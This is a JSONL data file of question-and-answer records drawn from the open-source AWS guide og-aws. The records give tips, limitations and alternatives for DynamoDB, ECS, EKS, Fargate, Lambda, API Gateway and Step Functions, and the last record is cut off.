{"id": "gh_862ee26dec68", "question": "How to: DynamoDB Tips", "question_body": "About open-guides/og-aws", "answer": "-\tThere is a [**local version of DynamoDB**](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/) provided for developer use.\n-\t[DynamoDB Streams](http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Streams.html) provides an ordered stream of changes to a table. Use it to replicate, back up, or drive events off of data\n-\tDynamoDB can be used [as a simple locking service](https://gist.github.com/ryandotsmith/c95fd21fab91b0823328).\n-\tDynamoDB indexing can include **primary keys**, which can either be a single-attribute hash key or a composite hash-key range. You can also query non-primary key attributes using [**secondary indexes**](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/SecondaryIndexes.html).\n-\t**Data Types:** DynamoDB supports three [data types](http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/DynamoDBMapper.DataTypes.html) – **number**, **string**, and **binary** – in both scalar and multi-valued sets. DynamoDB can also support [**JSON**](https://aws.amazon.com/blogs/aws/dynamodb-update-json-and-more/).\n-\tAs of late 2017, DynamoDB supports both [global tables](https://aws.amazon.com/dynamodb/global-tables/) and [backup / restore functionality](https://aws.amazon.com/dynamodb/backup-restore/).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977874"}
{"id": "gh_25fd2e58137a", "question": "How to: DynamoDB Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸 DynamoDB doesn’t provide an easy way to bulk-load data (it is possible through [Data Pipeline](http://docs.aws.amazon.com/datapipeline/latest/DeveloperGuide/dp-importexport-ddb-part1.html)) and this has some [unfortunate consequences](http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/GuidelinesForTables.html#GuidelinesForTables.AvoidExcessivePTIncreases). Since you need to use the regular service APIs to update existing or create new rows, it is common to temporarily turn up a destination table’s write throughput to speed import. But when the table’s write capacity is increased, DynamoDB may do an irreversible split of the partitions underlying the table, spreading the total table capacity evenly across the new generation of tables. Later, if the capacity is reduced, the capacity for each partition is also reduced but the total number of partitions is not, leaving less capacity for each partition. This leaves the table in a state where it much easier for hotspots to overwhelm individual partitions.\n-\t🔸 It is important to make sure that DynamoDB [resource limits](http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Limits.html#limits-data-types) are compatible with your dataset and workload. For example, the maximum size value that can be added to a DynamoDB table is 400 KB (larger items can be stored in S3 and a URL stored in DynamoDB).\n-\t🔸 Dealing with **time series data** in DynamoDB can be challenging. A global secondary index together with down sampling timestamps can be a possible solution as explained [here](https://blogs.aws.amazon.com/bigdata/post/Tx3KPZDXIBJEQ4B/Scaling-Writes-on-Amazon-DynamoDB-Tables-with-Global-Secondary-Indexes).\n-\t🔸 When setting up [fine grained policies](http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/specifying-conditions.html) for access to DynamoDB tables, be sure to include their secondary indices in the policy document as well.\n\nECS\n---", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977883"}
{"id": "gh_f93d83d99323", "question": "How to: ECS Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/ecs/) ∙ [Developer guide](http://docs.aws.amazon.com/AmazonECS/latest/developerguide/) ∙ [FAQ](https://aws.amazon.com/ecs/faqs/) ∙ [Pricing](https://aws.amazon.com/ecs/pricing/)\n-\t**ECS** (EC2 Container Service) is a relatively new service (launched end of 2014) that manages clusters of services deployed via Docker.\n-\tSee the [Containers and AWS](#containers-and-aws) section for more context on containers.\n-\tECS is growing in adoption, especially for companies that embrace microservices.\n-\tDeploying Docker directly in EC2 yourself is another common approach to using Docker on AWS. Using ECS is not required, and ECS does not (yet) seem to be the predominant way many companies are using Docker on AWS.\n-\tIt’s also possible to use [Elastic Beanstalk with Docker](http://docs.aws.amazon.com/elasticbeanstalk/latest/dg/create_deploy_docker.html), which is reasonable if you’re already using Elastic Beanstalk.\n-\tUsing Docker may change the way your services are deployed within EC2 or Elastic Beanstalk, but it does not radically change how most other services are used.\n-\t[ECR](https://aws.amazon.com/ecr/) (EC2 Container Registry) is Amazon’s managed Docker registry service. While simpler than running your own registry, it is missing some features that might be desired by some users:\n\t-\tDoesn’t support cross-region replication of images.\n\t\t-\tIf you want fast fleet-wide pulls of large images, you’ll need to push your image into a region-local registry.\n\t-\tDoesn’t support custom domains / certificates.\n-\tA container’s health is monitored via [CLB](#clb) or [ALB](#alb). Those can also be used to address a containerized service. When using an ALB you do not need to handle port contention (i.e. services exposing the same port on the same host) since an ALB’s target groups can be associated with ECS-based services directly.\n-\t[The Hitchhikers Guide to AWS ECS and Docker](http://start.jcolemorrison.com/the-hitchhikers-guide-to-aws-ecs-and-docker/) by J. Cole Morrison is an excellent article for Introduction to AWS ECS concepts.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977894"}
{"id": "gh_195ec16576c3", "question": "How to: ECS Alternatives and Lock-in", "question_body": "About open-guides/og-aws", "answer": "-\t[Kubernetes](https://kubernetes.io): Extensive container platform. Available as a hosted solution on [Google Cloud](https://cloud.google.com/kubernetes-engine), [AWS](https://aws.amazon.com/eks/), [Azure](https://azure.microsoft.com/en-us/services/kubernetes-service/), [DigitalOcean](https://www.digitalocean.com/products/kubernetes/), and [OpenShift](https://www.redhat.com/en/technologies/cloud-computing/openshift).\n-\t[Nomad](https://www.nomadproject.io/): Orchestrator/Scheduler, tightly integrated in the HashiCorp stack (Consul, Vault, etc).\n\n🚧 [*Please help expand this incomplete section.*](CONTRIBUTING.md)\n\nEKS\n---", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977902"}
{"id": "gh_0776ade612ad", "question": "How to: EKS Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/eks/) ∙ [User guide](http://docs.aws.amazon.com/eks/latest/userguide/what-is-eks.html) ∙ [FAQ](https://aws.amazon.com/eks/faq/) ∙ [Pricing](https://aws.amazon.com/eks/pricing/)\n- EKS (Elastic Kubernetes Service) is a new service (launched June 2018) that provides managed Kubernetes Masters in a Highly Available pair to deploy K8s Services and Pods on top of EC2 based Kubernetes nodes.\n- See the [Containers and AWS](#containers-and-aws) section for more context on containers.\n- EKS is AWS's solution to hosting Kubernetes natively on AWS. It is not a replacement for ECS directly but is in response to the large market dominance of Kubernetes.\n- EKS does not launch EC2 nodes and would have to be configured and setup either manually or via Cloudformation (or other automation solution)\n- EKS management is done through a utility called kubectl, and with Kube configuration files. These files will need to be configured to speak with the K8s Master with a certificate and URL. The AWS CLI can autogenerate the configuration file that kubectl requires for communicating with the cluster.\n[1](#user-content-eks-aws-cli-create-kubeconfig)\n- EKS authentication is integrated with IAM roles/permissions. The AWS CLI has an integrated sub-command for generating authentication tokens.\n[2](#user-content-eks-aws-cli-get-token)\nThis was formerly done via a custom plugin for kubectl called [aws-iam-authenticator](https://github.com/kubernetes-sigs/aws-iam-authenticator) (formerly heptio-authenticator-aws).\n- EKS provides [Calico](https://docs.aws.amazon.com/eks/latest/userguide/calico.html) from Tigera for securing workloads within a cluster using Kubernetes network policy.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977910"}
{"id": "gh_038e1a287164", "question": "How to: EKS Alternatives and Lock-in", "question_body": "About open-guides/og-aws", "answer": "- [ECS](#ecs): Amazon's native Container Scheduled platform released in 2014.  If you don't utilise containers today and are looking to get started, ECS is an excellent product.\n-\t[Kubernetes](https://kubernetes.io): Extensive container platform. Available as a hosted solution on [Google Cloud](https://cloud.google.com/container-engine/), [AWS](https://aws.amazon.com/eks/), [Digital Ocean](https://www.digitalocean.com/products/kubernetes/) and [Azure](https://azure.microsoft.com/en-us/services/kubernetes-service/).\n-\t[Nomad](https://www.nomadproject.io/): Orchestrator/Scheduler, tightly integrated in the HashiCorp stack (Consul, Vault, etc).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977916"}
{"id": "gh_7acf9f5f3603", "question": "How to: EKS Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- Pods and Service configurations can rapidly consume IP addresses inside a VPC.  Proper care and maintenance should be applied to ensure IP exhaustion does not occur.\n- There is currently no integrated monitoring in CloudWatch for EKS pods or services, you will need to deploy a monitoring system that supports Kubernetes such as Prometheus.\n- Autoscaling based off CPU/Memory of a node is limited as you will not be aware of pending Services/Pods that cannot start. Using [cluster-autoscaler](https://github.com/kubernetes/autoscaler/tree/master/cluster-autoscaler) can be useful for scaling based on Node resource usage and unschedulable Pods.\n- [Prometheus](https://prometheus.io/) is a very popular monitoring solution for K8s, metrics and alerts can be used to send events to Lambda, SQS or other solutions to take autoscaling actions.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977921"}
{"id": "gh_72eda1d517e6", "question": "How to: Fargate Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/fargate/) ∙ [FAQ](https://aws.amazon.com/fargate/faqs/) ∙ [Pricing](https://aws.amazon.com/fargate/pricing/)\n-   **Fargate** allows you to manage and deploy containers without having to worry about running the underlying compute infrastructure\n-   Fargate serves as a new backend (in addition to the legacy EC2 backend) on which ECS and EKS tasks can be run\n-   Fargate and EC2 backends are called \"Launch Types\"\n-   Fargate allows you to treat containers as fundamental building blocks of your infrastructure\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977929"}
{"id": "gh_f4cc2c2cadde", "question": "How to: Fargate Tips", "question_body": "About open-guides/og-aws", "answer": "-   Fargate follows a similar mindset to Lambda, which lets you focus on applications, instead of dealing with underlying infrastructure\n-   Fargate is supported by CloudFormation, aws-cli and ecs-cli\n-   Fargate tasks can be launched alongside tasks that use EC2 Launch Type\n-   💸Before creating a large Fargate deployment, make sure to estimate costs and compare them against alternative solution that uses traditional EC2 deployment - Fargate prices can be several times those of equivalently-sized EC2 instances. To evaluate both solutions based on potential costs, refer to pricing for [EC2](https://aws.amazon.com/ec2/pricing/) and [Fargate](https://aws.amazon.com/fargate/pricing/).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977937"}
{"id": "gh_e8613b0b5972", "question": "How to: Fargate Alternatives and Lock-in", "question_body": "About open-guides/og-aws", "answer": "-   🚪[Azure Container Instances](https://azure.microsoft.com/en-us/services/container-instances/): Available on Microsoft Azure in preview version, allows to run applications in containers without having to manage virtual machines\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977942"}
{"id": "gh_2366e096017b", "question": "How to: Fargate Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-   The smallest resource values that can be configured for an ECS Task that uses Fargate is 0.25 vCPU and 0.5 GB of memory\n-   [Task storage is ephemeral. After a Fargate task stops, the storage is deleted.](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/fargate-task-storage.html)\n\nLambda\n------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977947"}
{"id": "gh_409c1deb3c84", "question": "How to: Lambda Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/lambda/) ∙ [Developer guide](http://docs.aws.amazon.com/lambda/latest/dg/) ∙ [FAQ](https://aws.amazon.com/lambda/faqs/) ∙ [Pricing](https://aws.amazon.com/lambda/pricing/)\n-\t**Lambda** is AWS' serverless compute offering, allowing users to define Lambda functions in a selection of runtimes that can be invoked via a variety of triggers, including SNS notifications and API Gateway invocations. Lambda is the key service that enables ['serverless' architecture on AWS](https://aws.amazon.com/lambda/serverless-architectures-learn-more/), alongside AWS API Gateway, AWS Batch, and AWS DynamoDB.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977955"}
{"id": "gh_47a382fdad55", "question": "How to: Lambda Tips", "question_body": "About open-guides/og-aws", "answer": "-\tThe idea behind 'serverless' is that users don't manage provisioning, scaling, or maintenance of the physical machines that host their application code. With Lambda, the machine that actually executes the user-defined function is abstracted as a ['container'](http://docs.aws.amazon.com/lambda/latest/dg/lambda-introduction.html). When defining a Lambda function, users are able to declare the amount of memory available to the function, which directly affects the physical hardware specification of the Lambda container.\n-\tChanging the amount of memory available to your Lambda functions also affects the amount of [CPU power](https://aws.amazon.com/lambda/faqs/) available to it.\n-\tWhile AWS does not offer hard guarantees around container reuse, in general it can be expected that an unaltered Lambda function will reuse a warm (previously used) container if called shortly after another invocation. Users can use this as a way to optimize their functions by smartly caching application data on initialization.\n-\tA Lambda that hasn't been invoked in some time may not have any warm containers left. In this case, the Lambda system will have to load and initialize the Lambda code in a 'cold start' scenario, which can add significant latency to Lambda invocations.  Lambda cold start performance [has improved significantly over the 2018-2019 timeframe](https://levelup.gitconnected.com/aws-lambda-cold-start-language-comparisons-2019-edition-%EF%B8%8F-1946d32a0244) and is now typically in the range of 200-500 ms for a simple function depending on the language runtime.\n-\tLambda functions running insides of VPCs have also seen [recent improvements](https://aws.amazon.com/blogs/compute/announcing-improved-vpc-networking-for-aws-lambda-functions/) to cold start times.  Previously these VPC-hosted functions would have cold starts of ~15 seconds; now those same functions cold start in < 1 second.\n-\tThere are a few strategies to avoiding or mitigating cold starts.  [Provisioned concurrency](https://aws.amazon.com/blogs/aws/new-provisioned-concurrency-for-lambda-functions/) was announced at re:invent 2019 and is an effective means to eliminating cold starts. Other techniques include keeping containers warm by periodic triggering and favoring lightweight runtimes such as Node as opposed to Java.\n-\tLambda is integrated with AWS CloudWatch and provides a logger at runtime that publishes CloudWatch events.\n-\tLambda offers out-of-the-box opt-in support for AWS X-Ray. X-Ray can help users diagnose Lambda issues by offering in-depth analysis of their Lambda's execution flow. This is especially useful when investigating issues calling other AWS services as X-Ray gives you a detailed and easy-to-parse [visualization of the call graph](http://docs.aws.amazon.com/lambda/latest/dg/lambda-x-ray.html#lambda-service-map).\n-\tUsing [timed CloudWatch events](http://docs.aws.amazon.com/AmazonCloudWatch/latest/events/ScheduledEvents.html#CronExpressions), users can use Lambda to run periodic jobs in a cron-like manner.\n-\tEvents sent to Lambda that fail processing can be managed using a [Dead Letter Queue (DLQ) in SQS.](http://docs.aws.amazon.com/lambda/latest/dg/dlq.html)\n-\tMore on serverless:\n\t-\t[Mike Roberts's thoughts on martinfowler.com.](http://martinfowler.com/articles/serverless.html)\n\t-\t[AWS Serverless Application Model (SAM)](https://github.com/awslabs/serverless-application-model), a simplification built on top of CloudFormation that can help to define, manage, and deploy serverless applications using Lambda.\n\t-\t[Serverless](https://github.com/serverless/serverless), one of the most popular frameworks for building serverless applications using AWS Lambda and other serverless compute options.\n\t-\t[Other helpful frameworks.](https://github.com/anaibol/awesome-serverless#frameworks)\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977969"}
{"id": "gh_0411ec8dfaa9", "question": "How to: Lambda Alternatives and Lock-in", "question_body": "About open-guides/og-aws", "answer": "-\t🚪Other clouds offer similar services with different names, including [Google Cloud Functions](https://cloud.google.com/functions/), [Azure Functions](https://azure.microsoft.com/en-us/services/functions/), and [IBM OpenWhisk](http://www.ibm.com/cloud-computing/bluemix/openwhisk/). Also if you are running Kubernetes another Lambda alternative is [OpenFaaS](https://github.com/openfaas/faas)\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977978"}
{"id": "gh_c9634eb0d049", "question": "How to: Lambda Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "- 🔸Testing Lambdas, locally and remotely, can be a challenge. Several tools are available to make this easier, including the officially supported [SAM Local](https://github.com/awslabs/aws-sam-local).\n- 🔸Managing lots of Lambda functions is a workflow challenge, and tooling to manage Lambda deployments is still immature.\n- 🔸AWS’ official workflow around managing function [versioning and aliases](https://docs.aws.amazon.com/lambda/latest/dg/versioning-aliases.html) is painful. One option is to avoid Lambda versioning by abstracting your deployment workflow outside of Lambda. One way this can be accomplished is by deploying your application in successive stages, with a distinct AWS account per stage, where each account only needs to be aware of the latest version, and rollbacks and updates are handled by external tooling.\n- 🔸While adding/removing S3 buckets as triggers for Lambda function, this error may occur: \"There was an error creating the trigger: Configuration is ambiguously defined. Cannot have overlapping suffixes in two rules if the prefixes are overlapping for the same event type.\" In this case, you can manually remove the Lambda event in the \"Events\" tab in the \"Properties\" section of the S3 bucket.\n- 🔸Managing the size of your deployment artifact can be a challenge, especially if using Java. Options to mitigate this include [proguard](https://www.guardsquare.com/en/proguard) and loading dependencies at runtime into /tmp.\n- When using DynamoDB as a trigger for your Lambda functions, this error may occur: \"PROBLEM: internal Lambda error. Please contact Lambda customer support.\" This usually just means that Lambda can't detect anything in the DynamoDB stream within the last 48 hours. If the issue persists, deleting and recreating your trigger may help.\n- 🔸If your lambda needs access to resources in a VPC (for example ElastiCache or RDS), it will need to be deployed within it. This will increase cold-start times as an Elastic Network Interface (ENI) will have to be registered within the VPC for each concurrent function. AWS also has a relatively low initial limit (350) on the number ENI's that can be created within an VPC, however this can be increased to the 1000s if a good case is made to AWS support.\n- 🔸If your lambda is in a VPC and needs access to resources outside VPC such outbound internet access, it will need a NAT gateway associated even if it is in public subnet. Lambdas won't be assigned a public IP irrespective of subnet. If it is accessing AWS services (for example S3), you may use VPC endpoints.\n-\t🔸 Lambda has several [**resource limits**](http://docs.aws.amazon.com/lambda/latest/dg/limits.html) as of 2017-06:\n\t-\tA **6MB** request or response payload size.\n\t-\tA **50 MB** limit on the compressed .zip/.jar file deployment package size.\n\t-\tA **250 MB** limit on the code/dependencies in the package before compression.\n\t- A **500 MB** limit on local storage in /tmp.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.977992"}
{"id": "gh_94952d786dea", "question": "How to: Lambda Code Samples", "question_body": "About open-guides/og-aws", "answer": "-\t[Fan-out](https://github.com/awslabs/aws-lambda-fanout) is an example of using Lambda to “fan-out” or copy data from one service, in this case Kinesis, to multiple other AWS data services. Destinations for fan-out data in the sample include IoT, SQS and more.\n-\tThis [AWS limit monitor using Lambdas](https://github.com/awslabs/aws-limit-monitor) shows use of multiple Lambdas for monitoring.\n-\tThis [Lambda ECS Worker Pattern](https://github.com/awslabs/lambda-ecs-worker-pattern) shows use of Lambda in a workflow where data from S3 is picked up by the Lambda, pushed to a queue, then sent to ECS for more processing.\n-\tThe [Secure Pet Store](https://github.com/awslabs/api-gateway-secure-pet-store) is a sample Java application which uses Lambda and API Gateway with Cognito (for user identity).\n-\t[aws-lambda-list](https://github.com/unixorn/aws-lambda-list) is a list of \"hopefully useful AWS lambdas and lambda-related resources\". Quite a few code samples here; as usual, not guaranteed tested. Caveat Emptor.\n\n🚧 [*Please help expand this incomplete section.*](CONTRIBUTING.md)\n\nAPI Gateway\n-----------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978000"}
{"id": "gh_c3a8ea9a8b8c", "question": "How to: API Gateway Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/api-gateway/) ∙ [Developer guide](http://docs.aws.amazon.com/apigateway/latest/developerguide/) ∙ [FAQ](https://aws.amazon.com/api-gateway/faqs/) ∙ [Pricing](https://aws.amazon.com/api-gateway/pricing/)\n-\t**API Gateway** provides a scalable, secured front-end for service APIs, and can work with Lambda, Elastic Beanstalk, or regular EC2 services.\n-\tIt allows “serverless” deployment of applications built with Lambda.\n-\t🔸Switching over deployments after upgrades can be tricky. There are no built-in mechanisms to have a single domain name migrate from one API gateway to another one. So it may be necessary to build an additional layer in front (even another API Gateway) to allow smooth migration from one deployment to another.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978006"}
{"id": "gh_af1703797dc6", "question": "How to: API Gateway Alternatives and Lock-In", "question_body": "About open-guides/og-aws", "answer": "- [Kong](https://getkong.org) is an open-source, on-premises API and microservices gateway built on nginx with Lua. Kong is extensible through “plugins”.\n- [Tyk](https://tyk.io) is an open-source API gateway implemented in Go and available in the cloud, on-premises or hybrid.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978012"}
{"id": "gh_ccaf307db289", "question": "How to: API Gateway Tips", "question_body": "About open-guides/og-aws", "answer": "-\t🔹Prior to 2016-11, you could only send and receive plain text data (so people would base64-encode binary data), but binary data is [now](https://aws.amazon.com/about-aws/whats-new/2016/11/binary-data-now-supported-by-api-gateway/) supported.\n-\tAPI Gateway supports the OpenApi specification (aka [Swagger](https://swagger.io/)). This allows you to describe your API in a language-agnostic way and use various tools to generate code supporting your API.\n-\tGenerating clients is extremely easy, either through the AWS console or using the get-sdk API.\n-\tAPI Gateway integrates with CloudWatch out-of-the-box, allowing for easy logging of requests and responses.\n\t-\tNote that if your request or response are too large, CloudWatch will truncate the log. For full request/reply logging, make sure to do so in your integration (e.g. Lambda).\n\t-\tA good practice when calling API Gateway APIs is to log the request ID on the client. You can later refer to these request IDs in CloudWatch for easier tracing and debugging.\n-\tThere are multiple ways to secure your API, including built-in support for [AWS Cognito](http://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-integrate-with-cognito.html). For most use-cases, Cognito is the easiest and simplest way to authenticate users.\n\t-\tAlthough you can roll your own solution using a [custom authorizer](http://docs.aws.amazon.com/apigateway/latest/developerguide/use-custom-authorizer.html), which is basically a Lambda you define that determines if a request is acceptable or not.\n-\tWhile API Gateway lends itself well to REST-style development, it's perfectly reasonable to implement an RPC-style API in API Gateway as well. Depending on your use-case, this can often lead to a much simpler API structure and smoother client experience.\n\t-\tRPC-style APIs are particularly useful when designing services that sit deeper in the stack and don't serve content directly to users.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978022"}
{"id": "gh_d5b55304c5f8", "question": "How to: API Gateway Gotchas and Limitations", "question_body": "About open-guides/og-aws", "answer": "-\t🔸API Gateway only supports encrypted (https) endpoints, and does not support unencrypted HTTP. (This is probably a good thing.)\n-\t🔸API Gateway doesn’t support multi-region deployments for high availability. It is a service that is deployed in a single region but comes with a global endpoint that is served from AWS edge locations (similar to a CloudFront distribution). You cannot have multiple API Gateways with the same hostname in different AWS regions and use Route 53 to distribute the traffic. More in [this forum post](https://forums.aws.amazon.com/thread.jspa?messageID=735342򳡮).\n- 🔸Integration timeout: All of the various integration types (eg: Lambda, HTTP) for API Gateway have timeouts, as described [here](http://docs.aws.amazon.com/apigateway/latest/developerguide/limits.html#api-gateway-limits). Unlike some limits, these timeouts can't be increased.\n- 🔸API Gateway returns a 504 status code for any network or low level transport related issue. When this happens, you may see a message in the CloudWatch logs for the request that includes the message: `Execution failed due to an internal error`. One possible reason for this error is that even though your backend server is up and running, it may be doing something outside of the HTTP specification (like not sending well-formed chunked messages). You can test by hitting your backend directly with the `curl --raw -S -i\n` and seeing if it complains.\n-\t🔸AWS X-Ray support exists but cumbersome to use. If you have other AWS services calling API Gateway, your trace will seemingly end there. API Gateway will also not appear as a node in your service map. [More here](http://docs.aws.amazon.com/xray/latest/devguide/xray-services-apigateway.html).\n-\t🔸Be careful using the export feature. The resulting Swagger template is often incomplete and doesn't integrate well with the Swagger extensions for things such as CORS.\n-\t🔸Many changes to API Gateway resources need to be 'deployed' via console or API call. Unfortunately, API Gateway is terrible about notifying the user when changes are staged for deployment and what changes require deployment. If you've changed something about your API and it's not taking effect, there's a decent chance you just need to deploy it.\n\t-\tIn particular, when deploying an API Gateway as part of a CloudFormation stack, changes will not automatically deploy unless the deployment resource itself was changed. You can change work around this by always changing the deployment resource on a CloudFormation update, or running a custom resource that ensures the deployment is made.\n\t-\tAlternatively, by using the [Serverless Application Model](https://github.com/awslabs/serverless-application-model) definition for an API Gateway resource, you can always expect the API to be deployed on a stack update since SAM will generate a new deployment every time.\n- 🔸API Gateway does not support nested query parameters on method requests.\n- 🔸API Gateway limits number of resources to 300, as described [here](http://docs.aws.amazon.com/apigateway/latest/developerguide/limits.html#api-gateway-limits). This is something to be considered when you start using API Gateway as a platform where your team/organization deploys to the same API Gateway.\n\n🚧 [*Please help expand this incomplete section.*](CONTRIBUTING.md)\n\nStep Functions\n------", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978037"}
{"id": "gh_896a116dc2fb", "question": "How to: Step Functions Basics", "question_body": "About open-guides/og-aws", "answer": "-\t📒 [Homepage](https://aws.amazon.com/step-functions/) ∙ [Developer guide](http://docs.aws.amazon.com/step-functions/latest/dg/welcome.html) ∙ [FAQ](https://aws.amazon.com/step-functions/faqs/) ∙ [Pricing](https://aws.amazon.com/step-functions/pricing/)\n-\t**Step Functions** is AWS’ way to create state machines that manage a serverless workflow.\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978042"}
{"id": "gh_842fe9c73d3c", "question": "How to: Step Functions Tips", "question_body": "About open-guides/og-aws", "answer": "-   A variety of structures are supported including branching, parallel operations and waits\n-   [Tasks](https://docs.aws.amazon.com/step-functions/latest/dg/concepts-tasks.html) represent the real work nodes and are frequently Lambda functions, but can be [Activities](https://docs.aws.amazon.com/step-functions/latest/dg/concepts-activities.html) which are externally driven tasks implemented any way you like.\n-   State machines have [data](https://docs.aws.amazon.com/step-functions/latest/dg/concepts-state-machine-data.html) that \"flows\" through the steps and can be modified and added to as the state machine executes.\n-   It's best if your tasks are idempotent, in part because you may want to re-run the state machine with the same input data during debugging\n-   The AWS Console facilitates your examining the execution state at various steps.\n    -   The console lets you do this with a few steps:\n        -   select the \"input\" tab from the failed execution\n        -   copy the input data (JSON)\n        -   select the state machine name in the breadcrumbs\n        -   start a new execution, pasting the input data you copied previously\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.88, 